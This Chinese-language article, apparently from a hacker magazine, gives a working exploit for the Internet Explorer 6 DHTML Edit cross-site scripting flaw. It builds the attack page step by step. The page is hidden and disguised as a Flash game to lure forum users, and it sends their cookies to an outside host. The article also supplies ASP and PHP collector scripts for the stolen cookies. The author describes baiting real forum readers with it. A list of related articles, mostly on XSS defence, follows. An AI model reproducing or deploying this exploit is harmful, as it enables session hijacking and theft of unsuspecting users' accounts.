MSIE DHTML Edit跨站脚本漏洞

微软在去年发布了MSIE DHTML Edit控件跨站脚本漏洞,但是圈内一直没有公布出好用的EXP,害得一帮新手叫苦不迭,别急,这不是为大家送来了大餐吗?!

[受影响系统]

Microsoft Internet Explorer 6.0

- Microsoft Windows XP Professional SP1

- Microsoft Windows XP Professional

- Microsoft Windows XP Home SP1

- Microsoft Windows XP Home

- Microsoft Windows ME

- Microsoft Windows 98 SE

- Microsoft Windows 98

- Microsoft Windows 2000

[漏洞描述]

Microsoft Internet Explorer DHTML edit控件不正确过滤部分数据,远程攻击者可以利用这个漏洞进行跨站脚本攻击,获得敏感信息。DHTML编辑控件存在一个安全问题可被父窗口访问,包括Script函数,攻击者使用exeScript直接注入javascript到控件,当目标用户打开恶意链接时,会导致恶意脚本代码执行,泄露敏感信息。

看来只能影响到IE 6.0版本,并且对Windows XP SP2没有作用,不过没有给XP打SP2补丁的用户不在少数,这个漏洞的利用价值还是蛮大的。

由于我使用的是Windwos XP SP1正好存在这个漏洞,我们就先来测试一下吧,在本地建立如下内容的HTML页面:

<html>

<head>

<title>测试</title>

</head>

<body onload="setTimeout('x.DOM.body.innerHTML=\'<b>正在装载,请稍后

++++++++++++++</b>\'');setTimeout('main()',1000)">

<object

id="x"

classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"

width="800"

height="600"

align="middle"

>

<PARAM NAME="ActivateApplets" VALUE="1">

<PARAM NAME="ActivateActiveXControls" VALUE="1">

</object>

<SCRIPT>

function shellscript()

{

window.name="poorchild";

open("http://www.hacker.com.cn/newbbs/announcements.asp?

action=showone&boardid=0","poorchild");

}

function main()

{

x.DOM.Script.execScript(shellscript.toString());

x.DOM.Script.setTimeout("shellscript()");

alert('等等++++++++++++++++++++++++++');

x.DOM.Script.execScript('alert(document.cookie)');

}

</SCRIPT>

</body>

</html>

用IE浏览器打开,如果你的系统存在这个漏洞,看出现了什么。

呵呵,弹出了我在黑防论坛上的Cookie信息。不过这个页面利用起来很不方便,并且成功率不高,如果没等到DHTML控件加载完毕就点击确定,是不会弹出任何Cookie信息的。

没等到页面加载完毕就点击弹出的第一个确定,一定会攻击失败,看来还是不足的。我们来对这个页面进行一下补充和修改吧,使得它成为一个成功率高的偷取Cookie信息的网页,好了,我们现在开始动手。

为了增加加载时间我们先将setTimeout('main()',1000)中的参数改大一些,就设成10000把,也就是10秒,够长了。虽然页面显示着正在加载,但状态栏中却显示着完毕,我们来修改状态栏的文字,加入如下的函数:

function clock() {

var title="正在装载,请稍后++++++++++++++";

status=title;

}

为了尽可能的诱使浏览者去打开这个页面,我们把它改名成.swf格式的文件,即把此页面伪装成一个Flash文件。在页面中加入:

<object classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" id="obj1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" border="0" width="800" height="600">

<param name="movie" value="/college/UploadPic/2006/8/27/2006827233410827.swf">

<param name="quality" value="High">

<embed src="/college/UploadPic/2006/8/27/2006827233410827.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" name="obj1" width="489" height="76" quality="High"></object>

同时隐藏DHTML控件,即将DHTML空间的width,height属性设置成0。为了将Cookie发送,我们添加如下脚本:

x.DOM.Script.execScript("window.open('http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments='+document.cookie)");

这是为了测试方便,我将浏览者的Cookie信息发送到了网上一个发表评论的地方了。最终的测试页面是:

<html>

<head>

<title>测试</title>

</head>

<body onload="setTimeout('x.DOM.body.innerHTML=\'<b>正在装载,请稍后++++++++++++++</b>\'');clock();setTimeout('main()',10000)">

<object

id="x"

classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"

width="0"

height="0"

align="middle"

>

<PARAM NAME="ActivateApplets" VALUE="1">

<PARAM NAME="ActivateActiveXControls" VALUE="1">

</object>

<SCRIPT>

function clock() {

var title="正在装载,请稍后++++++++++++++";

status=title;

}

function shellscript()

{

window.name="poorchild";

open("http://www.hacker.com.cn/newbbs/announcements.asp?action=showone&boardid=0","poorchild");

}

function main()

{

x.DOM.Script.execScript(shellscript.toString());

x.DOM.Script.setTimeout("shellscript()");

alert("游戏名称:神秘祭坛\n");

alert("测试通过者拥有着超人的观察力!\n");

alert("全世界只有10个人可以全部找出!\n");

alert("相信你就是这10个人中的一员\n");

alert("祝你好运++++++++++++++++++++\n");

alert("务必在找到不同后点击确定!!\n");

//x.DOM.Script.execScript('alert(document.cookie)');

x.DOM.Script.execScript("window.open('http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments='+document.cookie)");

}

</SCRIPT>

<object classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" id="obj1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" border="0" width="800" height="600">

<param name="movie" value="/college/UploadPic/2006/8/27/2006827233410827.swf">

<param name="quality" value="High">

<embed src="/college/UploadPic/2006/8/27/2006827233410827.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" name="obj1" width="489" height="76" quality="High"></object>

</body>

</html>

其中的/college/UploadPic/2006/8/27/2006827233410827.swf是朋友发给我的地址,把我给下了一跳,不过没想到我却用它来骗稿费了,呵呵。

为了测试,赶快去黑防论坛发表一篇文章,要有吸引力才行。

够有吸引力的了吧?我猜中招的一定不少!其实我们可以把以上的攻击文件改名成.swf,为了在论坛上传方便(不允许swf格式),我改名为gif格式了。

由于它是利用的IE漏洞,这个页面的地址可以在任意地方,不过注意:

function shellscript()

{

window.name="poorchild";

open("http://www.hacker.com.cn/newbbs/announcements.asp?action=showone&boardid=0","poorchild");

}

这个函数中定义了我们要偷取浏览者机器中站点的Cookie信息,我设置的是黑防论坛的,大家可以换成要攻击的论坛。同时这个页面也要选取内容少的页面,最好不要带图片,以加快载入时间。

好,我自己就先来看看效果吧。

看来是成功了,为了不让浏览者看到自己的的Cookie信息,可以把它发送到自己定制的ASP页面,方法是在支持ASP和FSO组件的空间上建立以下页面:

<%

testfile=Server.MapPath("cookie.txt")

cookie=Request("cookie")

set fs=server.CreateObject("scripting.filesystemobject")

set thisfile=fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(""&cookie& "")

thisfile.close

set fs = nothing

%>

将它命名为Cookie.asp,注意修改以下内容:

x.DOM.Script.execScript("window.open('http://www.njrb.com.cn/comment/comment.php3?fdRealName=zhang&fdEmail=zhang@1.com&fdArticleId=&fdTitle=&fdLink=&func=add&s1=%B7%A2%B1%ED%C6%C0%C2%DB&fdComments='+document.cookie)");

改为

x.DOM.Script.execScript("window.open('http://youwebsite.com/cookie.asp?cookie= '+document.cookie)");

或在支持PHP的空间建立以下页面:

<?php

$info = getenv("QUERY_STRING");

if ($info) {

$fp = fopen("info.txt","a");

fwrite($fp,$info."\n");

fclose($fp);

}

header("Location: http://wwwhacker.com.cn");

这样通过这个漏洞,我们就可以偷取到任何论坛的Cookie信息了,不管论坛做了多么安全,只要浏览者IE存在此漏洞,就可成功获取别人的Cookie,这可称得上是论坛杀手了!

(0)

相关推荐

  • MSIE DHTML Edit跨站脚本漏洞

    微软在去年发布了MSIE DHTML Edit控件跨站脚本漏洞,但是圈内一直没有公布出好用的EXP,害得一帮新手叫苦不迭,别急,这不是为大家送来了大餐吗?! [受影响系统] Microsoft Internet Explorer 6.0 - Microsoft Windows XP Professional SP1 - Microsoft Windows XP Professional - Microsoft Windows XP Home SP1 - Microsoft Windows XP 

  • jQuery Mobile漏洞会有跨站脚本攻击风险

    概述 根据国外媒体的最新报道,谷歌公司的安全工程师Eduardo Vela在jQuery Mobile框架中发现了一个安全漏洞,这个漏洞将会让 所有使用了jQuery Mobile的网站暴露于跨站脚本攻击风险之下 . jQuery Mobile项目(jQuery框架中的一个组件)是一个基于HTML5的开发框架,在它的帮助下,开发者可以设计出能够适配目前主流移动设备和桌面系统的响应式Web站点以及应用程序.实际上,jQuery Mobile不仅可以为主流移动平台提供jQuery的核心库,而且它也是

  • 字符集导致的浏览器跨站脚本攻击分析

    |=-------------------------------–=| |=-----–=[ 字符集导致的浏览器跨站脚本攻击 ]=-----–=| |=-------------------------------–=| |=-------------=[ By jianxin ]=------------=| |=-----------=[ jianxin@80sec.com ]=----------=| |=--------------------------------=| 文中<已经被

  • 也谈跨站脚本攻击与防御

    网络上曾经有过关于跨站脚本攻击与防御的文章,但是随着攻击技术的进步,以前的关于跨站脚本攻击的看法与理论已经不能满足现在的攻击与防御的需要了,而且由于这种对于跨站脚本认识上的混乱,导致现在很多的程序包括现在的动网都存在着跨站脚本过滤不严的问题,希望本文能给写程序的与研究程序的带来一点思路. 还是首先看看跨站脚本漏洞的成因,所谓跨站脚本漏洞其实就是Html的注入问题,恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码,数据流

  • 跨站脚本攻击XSS分类介绍以及解决方案汇总

    目录 1.什么是XSS? 2.XSS 分类 2.1 反射型XSS 2.2 存储型XSS 2.3 DOM型XSS 3.漏洞危害 4.测试方法 5.解决方案 5.1 httpOnly 5.2 客户端过滤 5.3 充分利用CSP 5.5 服务端校验 总结 1.什么是XSS? Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击.攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行.利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie.SessionI

  • DownPlus 安全补丁 2008-12-12 附修改方法

    *可能造成的危害: 因为query.asp的此漏洞不涉及到数据,故不会对数据造成危害,但恶意用户可能会构造一个特殊URL,并诱导其他用户(比如站点的管理 员)去访问这个URL,从而获得该用户的敏感信息(如Cookies),或是将用户跳转到含有木马的页面,使这个用户中木马.请不要随意访问 来历不明或含有特殊字符的URL. 补丁适合版本: DownPlus 2.2 ACCESS/MSSQL 点此下载补丁:http://bbs.DownPlus.com/index.php?s=&showtopic=2

  • 详解JavaScript ES6中的模板字符串

    在 ES6 中引入了一种新的字符串字面量 - 模板字符串,除了使用反引号 (`) 表示,它们看上去和普通的字符串没有什么区别.在最简单的情况下,他们就是普通的字符串: context.fillText(`Ceci n'est pas une cha?ne.`, x, y); context.fillText(`Ceci n'est pas une cha?ne.`, x, y); 之所以被称为模板字符串,是因为模板字符串为 JS 引入了简单的字符串插值特性,也就是说,可以方便优雅地将 JS 的值

  • asp.net网站安全从小做起与防范小结

    以下都以ASP.NET开发网站为例. 1.sql注入漏洞. 解决办法:使用存储过程,参数不要用字符串拼接.简单改进办法:使用SqlHelper和OledbHelper 2.跨站脚本漏洞 解决办法:"默认禁止,显式允许"的策略.具体参考:从客户端检测到有潜在危险的Request.Form值,禁止提交html标记(<>等被转义成<) 3.上传漏洞 解决办法:禁止上传目录的运行权限.只给读取权限.另外要禁止上传非法类型文件.不仅仅是aspx类型,包括很多,甚至htm.htm

  • PHP和XSS跨站攻击的防范

    其实这个话题很早就想说说了,发现国内不少PHP站点都有XSS漏洞.今天偶然看到PHP5的一个XSS漏洞,在此小结一下.顺便提醒,使用PHP5的朋友最好打下补丁,或者升级一下. 如果你不懂什么是XSS,可以看这里,或者这里(中文的也许会好懂一些). 国内不少论坛都存在跨站脚本漏洞,例如这里  有一个Google Hack+XSS的攻击例子,针对的是Discuz 4.0.0RC3.国外也很多这样的例子,甚至Google也出现过,不过在12月初时修正了.跨站攻击很容易就可以构造,而且非常隐蔽,不易被查

  • php打开远程文件的方法和风险及解决方法

    PHP有一个配置选项叫allow_url_fopen,该选项默认是有效的.它允许你指向许多类型的资源,并像本地文件一样处理.例如,通过读取URL你可以取得某一个页面的内容(HTML),看下面的代码 复制代码 代码如下: <?php$contents = file_get_contents('http://www.jb51.net/');?> 当被污染数据用于include和require的文件指向时,会产生严重漏洞.实际上,我认为这种漏洞是PHP应用中最危险的漏洞之一,这是因为它允许攻击者执行

随机推荐